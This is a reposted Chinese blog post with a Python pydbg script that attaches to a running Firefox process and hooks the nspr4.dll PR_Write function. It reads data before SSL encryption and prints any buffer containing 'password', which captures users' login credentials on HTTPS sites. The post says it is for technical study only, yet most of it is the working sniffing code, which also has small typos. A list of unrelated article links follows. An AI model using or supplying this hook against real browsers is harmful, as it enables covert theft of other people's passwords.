python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
分析Python的Django框架的运行方式及处理流程
Apr 08 Python
python中pygame针对游戏窗口的显示方法实例分析(附源码)
Nov 11 Python
Ubuntu 16.04 LTS中源码安装Python 3.6.0的方法教程
Dec 27 Python
Python 自动化表单提交实例代码
Jun 08 Python
Python实现将照片变成卡通图片的方法【基于opencv】
Jan 17 Python
Python实现绘制双柱状图并显示数值功能示例
Jun 23 Python
Python 从一个文件中调用另一个文件的类方法
Jan 10 Python
python 在指定范围内随机生成不重复的n个数实例
Jan 28 Python
python实现差分隐私Laplace机制详解
Nov 25 Python
python 二维矩阵转三维矩阵示例
Nov 30 Python
pytorch 实现cross entropy损失函数计算方式
Jan 02 Python
Python可视化工具如何实现动态图表
Oct 23 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
预告映像公开!第1章续篇剧场版动画《Princess Principal Crown Handler》4月10日上映!
2020/03/06 日漫
PHP 如何向 MySQL 发送数据
2006/10/09 PHP
首页四格,首页五格For6.0(GBK)(UTF-8)[12种组合][9-18][版主安装测试通过]
2007/09/24 PHP
记录mysql性能查询过程的使用方法
2013/05/02 PHP
PHP无限极分类函数的实现方法详解
2017/04/15 PHP
php实现QQ小程序发送模板消息功能
2019/09/18 PHP
jQuery Validation插件remote验证方式的Bug解决
2010/07/01 Javascript
script不刷新页面的联动前后代码
2013/09/18 Javascript
js 鼠标移动显示图片的简单实例
2013/12/25 Javascript
利用jquery.qrcode在页面上生成二维码且支持中文
2014/02/12 Javascript
基于jQuery+PHP+Mysql实现在线拍照和在线浏览照片
2015/09/06 Javascript
AngularJS 最常用的功能汇总
2016/02/17 Javascript
基于Javascript实现二级联动菜单效果
2016/03/04 Javascript
Bootstrap布局之栅格系统学习笔记
2017/05/04 Javascript
js实现水平滚动菜单导航
2017/07/21 Javascript
jquery实现楼层滚动效果
2018/01/01 jQuery
vue 实现移动端键盘搜索事件监听
2019/11/06 Javascript
小程序实现录音上传功能
2019/11/22 Javascript
在Vuex中Mutations修改状态操作
2020/07/24 Javascript
Echarts在Taro微信小程序开发中的踩坑记录
2020/11/09 Javascript
Pycharm学习教程(4) Python解释器的相关配置
2017/05/03 Python
python实现雨滴下落到地面效果
2018/06/21 Python
python gensim使用word2vec词向量处理中文语料的方法
2019/07/05 Python
详解python实现可视化的MD5、sha256哈希加密小工具
2020/09/14 Python
Python实现手势识别
2020/10/21 Python
特罗佩亚包官方网站:Tropea
2017/01/03 全球购物
Servlet方面面试题
2016/09/28 面试题
通信工程专业女生个人求职信
2013/09/21 职场文书
园林设计专业毕业生求职信
2014/03/23 职场文书
《从现在开始》教学反思
2014/04/15 职场文书
室内设计专业自荐信
2014/05/31 职场文书
村党支部书记个人对照材料汇报
2014/10/26 职场文书
干部考核工作总结
2015/08/12 职场文书
nginx反向代理时如何保持长连接
2021/03/31 Servers
如何将numpy二维数组中的np.nan值替换为指定的值
2021/05/14 Python
让文件路径提取变得更简单的Python Path库
2021/05/27 Python